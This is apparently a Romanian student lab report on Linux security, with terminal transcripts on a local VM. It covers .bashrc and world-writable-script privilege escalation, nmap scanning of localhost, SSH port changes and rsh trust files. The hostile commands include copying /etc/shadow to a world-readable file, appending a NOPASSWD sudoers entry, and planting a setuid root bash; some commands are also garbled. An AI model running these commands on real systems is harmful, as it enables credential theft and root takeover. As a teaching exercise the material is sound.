    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
    if [ -f /usr/share/bash-completion/bash_completion ]; then
        . /usr/share/bash-completion/bash_completion
    elif [ -f /etc/bash_completion ]; then
        . /etc/bash_completion
    fi
fi

sudo cp /etc/shadow /tmp/shadow
sudo chmod a+r /tmp/shadow
```

11. Conectați-vă din nou (într-un alt terminal) pe contul utilizatorului "user1".
Verificați dacă s-a creat fișierul `"/tmp/shadow"` și dacă îl puteți citi.

```
ubuntu@ubuntu-VirtualBox:~$ su - user1
Password:
user1@ubuntu-VirtualBox:~$ cat /tmp/shadow
cat: /tmp/shadow: No such file or directory
user1@ubuntu-VirtualBox:~$ |
```

12. Modificați (ca *user2*) fișierul `"/home/user1/.bashrc"`, astfel încât utilizatorul `"user2"` să obțină drepturi de root pe sistem.

```
user1@ubuntu-VirtualBox:~$ echo "echo 'user2 ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /etc/sudoers"
home/user1/.bashrc
user1@ubuntu-VirtualBox:~$
```

2. *OPTIONAL*. Instalare (prin copiere) a unui executabil de către root, având un umask prea permisiv (drepturi de scriere pentru toată lumea). Se cere mai întâi găsirea cu `find` a tuturor fișierelor executabile ale root-ului (din `/bin`, `/sbin`, `/usr/bin`, `/usr/sbin`) care au drepturi de scriere pentru toată lumea. Se înlocuiește apoi fișierul executabil vulnerabil cu unul al atacatorului.

1. Din contul *root* setați masca `umask` la valoare `000`.

```
ubuntu@ubuntu-VirtualBox:~$ sudo su
Hello world!
Hello world!
Hello world!
root@ubuntu-VirtualBox:/home/ubuntu# umask 000
root@ubuntu-VirtualBox:/home/ubuntu# |
```

2. Creați un fișier script cu drepturi de execuție în directorul `"/usr/bin"`. Conținutul fișierului poate consta din simple comenzi.

```
root@ubuntu-VirtualBox:/home/ubuntu# cat > /usr/bin/vulnerable_script.sh << '
#!/bin/bash
echo "Script legitim"
date
EOF
root@ubuntu-VirtualBox:/home/ubuntu# chmod +x /usr/bin/vulnerable_script.sh
root@ubuntu-VirtualBox:/home/ubuntu# |
```

3. Din contul unui alt utilizator, jucați rolul unui atacator, care modifică fișierul creat anterior, astfel încât, la execuția acestuia de către utilizator,

atacatorul să câştige acces deplin asupra sistemului

```
exit
ubuntu@ubuntu-VirtualBox:~$ cat > /usr/bin/vulnerable_script.sh << 'EOF'
#!/bin/bash
# Script modificat de atacator
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
echo "Script legitim"
date
EOF
ubuntu@ubuntu-VirtualBox:~$ sudo /usr/bin/vulnerable_script.sh
Script legitim
Mon Dec 22 10:49:31 PM EET 2025
ubuntu@ubuntu-VirtualBox:~$ cat /usr/bin/vulnerable_script.sh
#!/bin/bash
# Script modificat de atacator
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
echo "Script legitim"
date
ubuntu@ubuntu-VirtualBox:~$ /tmp/rootbash -p
rootbash-5.2# |
```

4. Comanda find de identificare a astfel de fişiere este:
find . -type f -perm /0022 -userroot -o -grouproot -print

8. OPȚIONAL. Scanarea porturilor (serviciilor) expuse de un sistem, folosind nmap.

- a. Să se scaneze porturile TCP expuse de sistemul local.

```
ubuntu@ubuntu-VirtualBox:~$ nmap localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 17:13 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00020s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
631/tcp   open  ipp

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
ubuntu@ubuntu-VirtualBox:~$ nmap --top-ports 100 --open localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 17:13 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00016s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
631/tcp   open  ipp

Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
ubuntu@ubuntu-VirtualBox:~$ nmap -p1-1000 --open localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 17:13 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00020s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
631/tcp   open  ipp
```

- b. Să se obțină versiunea serviciilor ce rulează pe porturile expuse.

```
ubuntu@ubuntu-VirtualBox:~$ nmap -sV localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 17:14 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00013s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
631/tcp   open  ipp       CUPS 2.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds
```

- c. Să se reconfigureze serviciul SSH a.î. să pornească pe un port nestandard, de exemplu 22222.

```
ubuntu@ubuntu-VirtualBox:~$ sudo nano /etc/ssh/sshd_config
ubuntu@ubuntu-VirtualBox:~$ cat /etc/ssh/sshd_config

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/g

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

# When systemd socket activation is used (the default), the socket
# configuration must be re-generated after changing Port, AddressFamily, or
# ListenAddress.
#
# For changes to take effect, run:
#
#   systemctl daemon-reload
#   systemctl restart ssh.socket
#
Port 22222
#AddressFamily any
```

- d. Să se rescaneze porturile TCP expuse. Dacă portul 22222 nu e afișat, să se rescaneze cu opțiunea "-p1-65535".

```
ubuntu@ubuntu-VirtualBox:~$ systemctl restart ssh.socket
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to restart 'ssh.socket'.
Authenticating as: ubuntu
Password:
==== AUTHENTICATION COMPLETE ====
ubuntu@ubuntu-VirtualBox:~$ nmap -p1-65535 localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 17:21 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00010s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
631/tcp   open  ipp
22222/tcp  open  easyengine

Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds
ubuntu@ubuntu-VirtualBox:~$ |
```

- e. Să se încerce obținerea informațiilor despre serviciul ce rulează pe portul 22222.

```
ubuntu@ubuntu-VirtualBox:~$ sudo ss -tulpn | grep 22222
tcp    LISTEN 0      4096      0.0.0.0:22222      0.0.0.0:*      users:(("sshd",pid=6081,fd=3),("systemd",pid=1,fd=61))
tcp    LISTEN 0      4096      [::]:22222        [::]:*        users:(("sshd",pid=6081,fd=4),("systemd",pid=1,fd=83))
ubuntu@ubuntu-VirtualBox:~$ |
```

- f. Să se încerce obținerea versiunii SO a sistemului local.

```
ubuntu@ubuntu-VirtualBox:~$ sudo nmap -O localhost
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-23 17:25 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000074s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
631/tcp   open  ipp
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 0 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 1.56 seconds
ubuntu@ubuntu-VirtualBox:~$ sudo nmap -A localhost
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-23 17:25 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000057s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
631/tcp   open  ipp      CUPS 2.4
|_http-server-header: CUPS/2.4 IPP/2.1
|_http-title: Home - CUPS 2.4.7
| http-robots.txt: 1 disallowed entry
|_/
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
```

- g. Să se scaneze porturile UDP expuse de sistemul local.

```
ubuntu@ubuntu-VirtualBox:~$ sudo nmap -sU localhost
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-23 17:26 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000060s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT      STATE SERVICE
5353/udp  open|filtered zeroconf

Nmap done: 1 IP address (1 host up) scanned in 1.33 seconds
ubuntu@ubuntu-VirtualBox:~$ |
```

- h. Să se execute următoarele comenzi, care ilustrează modul în care nmap poate executa anumite scripturi de detecție:

```
ubuntu@ubuntu-VirtualBox:~$ ls -l /usr/share/nmap/scripts
total 4952
-rw-r--r-- 1 root root 3901 Apr 1 2024 acarsd-info.nse
-rw-r--r-- 1 root root 8749 Apr 1 2024 address-info.nse
-rw-r--r-- 1 root root 3345 Apr 1 2024 afp-brute.nse
-rw-r--r-- 1 root root 6463 Apr 1 2024 afp-ls.nse
-rw-r--r-- 1 root root 7001 Apr 1 2024 afp-path-vuln.nse
-rw-r--r-- 1 root root 5600 Apr 1 2024 afp-serverinfo.nse
-rw-r--r-- 1 root root 2621 Apr 1 2024 afp-showmount.nse
-rw-r--r-- 1 root root 2262 Apr 1 2024 ajp-auth.nse
-rw-r--r-- 1 root root 2983 Apr 1 2024 ajp-brute.nse
-rw-r--r-- 1 root root 1329 Apr 1 2024 ajp-headers.nse
-rw-r--r-- 1 root root 2590 Apr 1 2024 ajp-methods.nse
-rw-r--r-- 1 root root 3051 Apr 1 2024 ajp-request.nse
-rw-r--r-- 1 root root 6719 Apr 1 2024 allseeingeye-info.nse
-rw-r--r-- 1 root root 5391 Apr 1 2024 ssh2-enum-algos.nse
-rw-r--r-- 1 root root 1200 Apr 1 2024 ssh-auth-methods.nse
-rw-r--r-- 1 root root 3020 Apr 1 2024 ssh-brute.nse
-rw-r--r-- 1 root root 16036 Apr 1 2024 ssh-hostkey.nse
-rw-r--r-- 1 root root 5948 Apr 1 2024 ssh-publickey-acceptance.nse
-rw-r--r-- 1 root root 3781 Apr 1 2024 ssh-run.nse
-rw-r--r-- 1 root root 1423 Apr 1 2024 sshv1.nse
ubuntu@ubuntu-VirtualBox:~$ |
```

```

ubuntu@ubuntu-VirtualBox:~$ nmap -p 22222 localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 17:28 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000099s latency).

PORT      STATE SERVICE
22222/tcp open  easyengine

Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
ubuntu@ubuntu-VirtualBox:~$ nmap -p 22222 -sV localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 17:28 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000092s latency).

PORT      STATE SERVICE VERSION
22222/tcp open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
ubuntu@ubuntu-VirtualBox:~$ nmap -p 22222 -sV --script=ssh-hostkey localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 17:28 EET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).

PORT      STATE SERVICE VERSION
22222/tcp open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:9c:de:a1:a5:b8:01:3d:79:ff:da:0c:b5:e2:f8:ea (ECDSA)

```

9. OPȚIONAL. Niveluri de echivalență.

- a. Să se instaleze pachetele "rsh-server" și "rsh-client".

```

ubuntu@ubuntu-VirtualBox:~$ sudo apt install rsh-redone-client rsh-redone-server
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  libevent-2.1-7t64 openbsd-inetd tcpd
Recommended packages:
  rsh-client
The following NEW packages will be installed:
  libevent-2.1-7t64 openbsd-inetd rsh-redone-client rsh-redone-server tcpd
0 upgraded, 5 newly installed, 0 to remove and 150 not upgraded.
Need to get 220 kB of archives.
After this operation, 718 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu noble/main amd64 libevent-2.1-7t64 amd64 2.1.12-stable-9ubuntu2 [145 kB]
Get:2 http://archive.ubuntu.com/ubuntu noble/universe amd64 tcpd amd64 7.6.q-33 [24.3 kB]
Get:3 http://archive.ubuntu.com/ubuntu noble/universe amd64 openbsd-inetd amd64 0.20221205-3build4 [26.7 kB]
Get:4 http://archive.ubuntu.com/ubuntu noble/universe amd64 rsh-redone-client amd64 85-4 [12.6 kB]
Get:5 http://archive.ubuntu.com/ubuntu noble/universe amd64 rsh-redone-server amd64 85-4 [12.3 kB]
Fetched 220 kB in 1s (429 kB/s)
Selecting previously unselected package libevent-2.1-7t64:amd64.
(Reading database ... 156368 files and directories currently installed.)
Preparing to unpack .../libevent-2.1-7t64_2.1.12-stable-9ubuntu2_amd64.deb ...
Unpacking libevent-2.1-7t64:amd64 (2.1.12-stable-9ubuntu2) ...

```

- b. Să se vizualizeze conținutul pachetelor respective.

```
ubuntu@ubuntu-VirtualBox:~$ dpkg -L rsh-redone-client
/.
/usr
/usr/bin
/usr/bin/rsh-redone-rlogin
/usr/bin/rsh-redone-rsh
/usr/share
/usr/share/doc
/usr/share/doc/rsh-redone-client
/usr/share/doc/rsh-redone-client/changelog.Debian.gz
/usr/share/doc/rsh-redone-client/copyright
/usr/share/lintian
/usr/share/lintian/overrides
/usr/share/lintian/overrides/rsh-redone-client
/usr/share/man
/usr/share/man/man1
/usr/share/man/man1/rsh-redone-rlogin.1.gz
/usr/share/man/man1/rsh-redone-rsh.1.gz
ubuntu@ubuntu-VirtualBox:~$ dpkg -L rsh-redone-server
/.
/etc
/etc/pam.d
/etc/pam.d/rlogin
/etc/pam.d/rsh
/usr
/usr/sbin
/usr/sbin/in.rlogind
/usr/sbin/in.rshd
/usr/share
```

- c. Să se configureze niveluri de echivalență pentru sisteme, prin adăugarea acestora în fișierul "/etc/hosts.equiv" (să se folosească localhost sau se se lucreze în echipe de câte doi, pentru a teste de pe sisteme diferite).

```
ubuntu@ubuntu-VirtualBox:~$ cat /etc/hosts.equiv
localhost
+ user1
ubuntu@ubuntu-VirtualBox:~$ |
```

- d. Să se configureze niveluri de echivalență pentru utilizatori, prin adăugarea acestora în fișierul ".rhosts".

```
ubuntu@ubuntu-VirtualBox:~$ su - user1
Password:
user1@ubuntu-VirtualBox:~$ echo "localhost user2" > ~/.rhosts
user1@ubuntu-VirtualBox:~$ chmod 600 ~/.rhosts
user1@ubuntu-VirtualBox:~$ |
```

- e. Să se testeze configurațiile realizate, încercând conexiunea pe anumite conturi de pe un sistem pe altul.

```
ubuntu@ubuntu-VirtualBox:~$ rsh -l user1 localhost
Password:
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

151 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

user1@ubuntu-VirtualBox:~$ |
```

